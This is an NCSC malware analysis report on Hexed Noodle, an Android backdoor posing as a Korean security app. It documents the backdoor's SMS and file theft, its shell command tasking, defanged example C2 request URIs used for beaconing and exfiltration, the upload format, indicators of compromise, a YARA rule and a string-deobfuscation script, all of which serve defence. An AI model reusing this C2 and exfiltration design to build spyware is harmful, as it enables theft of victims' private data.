National Cyber Security Centre
a part of GCHQ

Hexed Noodle

Malware Analysis Report

Version 1.0

26 July 2021

Hexed Noodle

Android variant of AppleSeed backdoor

Executive summary

- Behaviour and network traffic is consistent with the Windows AppleSeed backdoor
- Masquerades as a (South) Korean Internet Security Agency (KISA) mobile security app
- Performs execution of shell commands as well as both tasked and automated collection of filesystem contents and SMS messages

Introduction

This report describes an Android variant of the Windows AppleSeed backdoor used in Operation Cobra Venom in 2019[i], which similarly masqueraded as computer security software.

No information is available detailing how this malware is delivered, although by masquerading as a KISA app it appears to be targeting security-conscious South Korean users, albeit with English text.

The Android variant creates three primary tasks: a command beacon task which fetches tasking, an SMS monitor which collects incoming SMS messages and a file monitor, which collects files modified within the last week if they have a targeted extension.

Malware details

Metadata

Filename	KisaAndroidSecurity.apk
Description	Android backdoor masquerading as a security app
Size	1.33 MB
MD5	4626ed60dfc8deaf75477bc06bd39be7
SHA-1	a9ff1ebb548f5bba600d38e709ff331749fa9971
SHA-256	2365a48f7d6cf6dcc83195f06ea11b93c955c3a491c60b50ba42788917ba22e2
Package	com.kisa.mobile_security

Filename	Kisa Vaccine.apk
Description	Android backdoor masquerading as a security app (variant)
Size	1.09 MB
MD5	c2a7b3722c3517b14986092fd61b79e6
SHA-1	d5af22de750d7e3fc91dc154163019b7a245651b
SHA-256	98909e68fe603a86de5488b8f8860a33dafdace03eebf56f9d680a84c2b66521
Package	com.kisa.mobile_security

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic	ID	Technique	Procedure
Initial Access (mobile)	T1444	Masquerade as Legitimate Application	Hexed Noodle masquerades as a KISA mobile security app
Reconnaissance	T1592.001	Gather Victim Host Information	Hexed Noodle beacons contain device hardware information and phone number
Execution	T1059.004	Unix Shell	Hexed Noodle system commands are executed by passing them to 'sh -c'
	T1204.002	User Execution	The user is required to install the Hexed Noodle APK, accept permissions and launch the app
Persistence (mobile)	T1402	Broadcast Receivers	Hexed Noodle subscribes to BOOT_COMPLETED, MY_PACKAGE_REPLACED, SMS_RECEIVED and PACKAGE_INSTALL broadcasts
	T1547	Boot Autostart	The Hexed Noodle app starts on receipt of the BOOT_COMPLETED notification
Defence Evasion (mobile)	T1406	Obfuscated Files or Information	Hexed Noodle configuration is stored in the app as hex encoded strings containing a 16 byte XOR-key prefix – in common with other AppleSeed variants.
Collection	T1560.002	Archive Collected Data Via Library	Hexed Noodle data is Zip compressed before encryption using standard libraries
	T1005	Data from Local System	Hexed Noodle collects SMS messages and certain filesystem documents
	T1119	Automated Collection	Hexed Noodle regularly scans file and SMS directories for changes to trigger exfiltration
Collection (mobile)	T1412	Capture SMS Messages	Hexed Noodle collects both stored and incoming SMS messages, possibly enabling the bypass of SMS-based two-factor authentication
Discovery (mobile)	T1420	File and Directory Discovery	Hexed Noodle contains a command to list filesystem contents
Command and Control	T1071.001	Web Protocols	Hexed Noodle uses HTTP requests for tasking and exfiltration

Exfiltration	T1030	Data Transfer Size Limits	Hexed Noodle uploads files in chunks of at most 10MB
	T1041	Exfiltration over C2 Channel	Hexed Noodle exfiltration and tasking are HTTP POST requests to the same server with different parameters
Exfiltration (mobile)	T1532	Data Encrypted	Hexed Noodle exfiltrated data is encrypted, prepended with the 16 byte XOR key and Hex encoded
	T1437	Standard Application Layer Protocol	Hexed Noodle exfiltrates data using HTTP POST requests
Impact (mobile)	T1582	SMS Control	Hexed Noodle enables the operator to send SMS messages from the victim device

Functionality

Installation

The malicious app will request the following permissions. Permissions highlighted in red are considered 'dangerous' by Android and the user must explicitly add to an allow-list on installation.

android.permission Value	Usage
FOREGROUND_SERVICE	Allows the app to run as a service, remaining active while other apps are in the foreground
INTERNET	Enables web-based communication with the C2
RECEIVE_BOOT_COMPLETED	Causes the malware to start on device startup
REQUEST_INSTALL_PACKAGES	Allows the malware to initiate an update prompt
READ_EXTERNAL_STORAGE	Allows filesystem enumeration and collection
READ_PHONE_STATE	Allows reading the device phone number
READ_SMS	Allows SMS collection
RECEIVE_SMS	Triggers on-demand SMS harvesting
SEND_SMS	Used by the SMS sending feature
WRITE_EXTERNAL_STORAGE	Used to store data for exfiltration

Table 1: Required permissions

Once activated by the user for the first time, a dialog is displayed stating that no threats have been found.

Command and control

In addition to periodic beaconing as described in this report under 'Communications (Beacons)', the malware sends a separate HTTP POST request every 60 seconds to retrieve tasking and acknowledges the successful receipt of a task with a tasking acknowledgement command. An example tasking request is shown in this report under 'Communications (Tasking)'.

Task Number	Task
1	Update app – prompting the user to initiate the update process
2	Retrieve a filesystem listing
3	Fetch specified files
4	Execute shell command
5	Retrieve a list of SMS messages
6	Purge the applications data files
7	Purge the applications cache files
8	Send a text message

Table 2: Valid task numbers

Automated exfiltration

Filesystem

Every five minutes the malware scans the `/mnt/sdcard` partition (which is the primary user storage area on Android) for files which have been modified within the last week.

If a modified file ends with an image extension (.jpg, .jpeg, .png, .bmp) or document extension (.pdf, .hwp [Hangul Word Processor], .doc, .docx, .ppt, .pptx, .xls, .xlsx, .txt), it will be uploaded, as described in this report under 'Communications (Exfiltration)'.

Uploads are recorded locally to avoid duplication by storing a hash of the filename and modification time in `flist.ldb`.

SMS

The SMS monitor runs every minute and whenever an SMS is received. It works in the same way as the file monitor, uploading messages from `inbox` and `sent` folders if their prior exfiltration has not been recorded in `slist.ldb`.

Communications

Request format

The Android version shares a HTTP POST URI scheme with some Windows AppleSeed variants - using a command ID parameter (**m**) and two sub-parameters: **p1** (a victim ID taken from the Android `Settings.Secure.ANDROID_ID` value) and **p2** (command argument).

Example request URI

`http://download.riseknite[.]life/index.php?m=b&p1=ed0f910544fa0a9e&p2=abcd`

Request type	Device Android ID	Command-specific argument

Command ID (m)	Purpose
a	Device information beacon
b	Encrypted result file (either in response to a task or sent by the file/SMS monitor)
c	Tasking request
d	Tasking acknowledgement

Table 3: Valid command ID parameters

Beacons

Hexed Noodle transmits beacons containing device information every 60 seconds, with a command code ('m' as described in this report under 'Communications (Request format)') value of 'a'. Any responses to these beacons from the C2 server are ignored.

Example Beacon (Generated by an emulator with no phone number)

```
http://download.riseknite[.]life/index.php?m=a&p1=ed0f910544fa0a9e&p2=Standard+PC+(i440FX+++PIIX,+1996)+api27+v1.0.2+()
```

Device Model	Android SDK Version	Malware Version	Device Phone Number

Note that any network signatures written for this request should expect a phone number at the end.

The 'Malware Version' string is **1.0.1** for `Kisa Vaccine.apk` and **1.0.2** for `KisaAndroidSecurity.apk`.

Example	Meaning
()	The device has no phone number assigned
(###)	The app did not have any of **READ_SMS**, **READ_PHONE_NUMBERS** or **READ_PHONE_STATE** permissions
(*1234567890*)	The MSISDN (phone number) of the device returned by the Android TelephonyManager getLine1Number() API

Table 4: Device phone number formats

Exfiltration

Files and SMS messages that have been selected for exfiltration, as described in this report under 'Functionality (Automated exfiltration)', are uploaded to the C2 server via messages with a command code ('m') of 'b'.

Example exfiltration request URI

```
http://download.riseknite[.]life/index.php?m=b&p1=ed0f910544fa0a9e&p2=a
```

File origin

Origin Field (p2)	File Contents
a	File system listing or retrieved file
b	Command shell response data
c	Exfiltrated SMS messages

Table 5: Valid file origin parameters

Uploaded files consist of a dummy PDF header, a 16-byte XOR key and chunks of encrypted data. Uploads are performed in chunks of at most 10,485,760 bytes, which is a common size limit for many web servers.

Exfiltrated file POST request headers and data format

```
Content-Type: multipart/form-data; boundary=$$$$$$$$$$$$$$$$
--$$$$$$$$$$$$$$$$
Content-Disposition: form-data; name="binary"; filename="2021-05-01_12-15-30-012-000001"
Content-Type: application/octet-stream

%PDF-1.7..4 0 objKKKKKKKKKKKKKKKKCCCCCCCCCCCCCCCCCCCC…
--$$$$$$$$$$$$$$$$--
```

Time	Optional File chunk ID	Hardcoded Header String	Random 16 byte XOR Key	Ciphertext of ZIP compressed data

Note on date formats: While the filename string generated in the POST form data is in US time format, the times/dates in the actual exfiltrated file/SMS data are generated in Seoul time.

Tasking

Tasking messages, as described in this report under 'Functionality (Command and control)', are sent to the C2 server with a command code ('m') of 'c'. Received tasking is then acknowledged by sending a message to the C2 with a command code ('m') of 'd'.

Example tasking POST request and tasking acknowledgement

http://download.riseknite[.]life/index.php?m=c&p1=ed0f910544fa0a9e

http://download.riseknite[.]life/index.php?m=d&p1=ed0f910544fa0a9e

Request type	Device Android ID

POST response format, with a 2 parameter command

```
[Command ID][Parameter Count][Parameter 1 Size][Parameter 1 Bytes][Parameter 2 Size][Parameter 2 Bytes]
```

The response parameter count and sizes are 4-byte integers, with the number and format dependant on the specific command. The commands are not encrypted.

Mitigation opportunities

Hexed Noodle uses the same predictable URI formats over HTTP as the Windows version, so a network defender has ample opportunity to detect and block this malware using standard AppleSeed network signatures.

However, the presentation of the app, which is likely targeted at the personal devices of end users, suggests that the malware is intended to operate in environments where this scrutiny is absent.

Conclusion

The Hexed Noodle variant of AppleSeed is an unsophisticated backdoor which demonstrates no significant TTP advances from known Windows versions. The NCSC is aware of one other Android sample as of July 2021.

Detection

Indicators of compromise

Type	Description	Values
Domain	C2 domain	download.riseknite[.]life
Domain	C2 domain	app.at-me[.]ml
Filename	A list of MD5 hashes of file filenames/dates used for avoiding duplicate file exfiltration	flist.ldb
Filename	A list of MD5 hashes of SMS time/folder/addresses used for avoiding duplicate SMS exfiltration	slist.ldb

Rules and signatures

Description	Plaintext strings from a Hexed Noodle Android variant 'classes.dex' file
Precision	Strong – though this will also hit on Windows AppleSeed binaries. An MZ header exclusion can be added if this is undesirable.
Rule type	YARA

```
rule dexstrings_plaincomms_obfushex_a9ff1e {
    meta:
        author = "NCSC"
        description = "Plaintext strings from a Hexed Noodle 'classes.dex'
file"
        hash = "a9ff1ebb548f5bba600d38e709ff331749fa9971"



    strings:
        $exfil1 = "multipart/form-data; boundary=$$$$$$$$$$$$$$$$"
        $exfil2 = "Content-Disposition: form-data; name=\"binary\";
filename=\""
        $reqFormatAParam1 = /\?m=[a-d]&p1=/
        $reqFormatAParam2 = /&p2=[a-c]/
        $smsdb = "slist.ldb" //"flist.ldb" (name of the files db) is
obfuscated but the developers have forgotten to wrap this sms database
filename


    condition:
        3 of them
}
```

Appendix

Obfuscated string extraction script

```
import binascii, re, sys, os, zipfile

def deobfuscate(path):

    results = []
    filedata = open(path, 'rb').read()
    if filedata[:2] == b'PK':
        try:
            filedata = zipfile.ZipFile(sys.argv[1]).read("classes.dex")
        except Exception as e:
            print(f"Failed to read classes.dex from {path}: {e}")
            return results

    if filedata[:3] != b"dex":
        print("Invalid .dex file provided")
        return results

    # with a 16 byte key encoded as a 32 byte hex string,
    # the minimum candidate size is 34 bytes
    candidates = re.finditer(b"[0-9a-f]{34,512}", filedata)

    for match in candidates:
        original = match.group()
        source = match.start()
        if len(original) % 2 != 0:
            original = original[1:]
            source += 1

        stringbinary = binascii.unhexlify(original)
        key, ct = stringbinary[:16], stringbinary[16:]

        plaintext = ''
        lastCT = 0
        for idx, ctbyte in enumerate(ct):
            plaintext += chr(lastCT ^ ctbyte ^ key[idx % 16])
            lastCT = ctbyte

        if plaintext.isprintable():
            results.append({"string":plaintext, "original":original, "offset
":source})
    return results
```

```
if __name__ == "__main__":
    if len(sys.argv) != 2 or not os.path.exists(sys.argv[1]):
        print("Usage: stringdecode.py <path to HEXED NOODLE apk or classes.d
ex>")
    else:
        results = deobfuscate(sys.argv[1])
        print('\n'.join(sorted([result['string'] for result in results])))
```

This Python 3 script takes a path to a suspected Hexed Noodle APK or classes.dex file as the argument and outputs deobfuscated configuration strings.

Disclaimer

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.

[i] https://www.mcafee.com/enterprise/en-us/threat-center/threat-landscape-dashboard/campaigns-details.operation-cobra-venom.html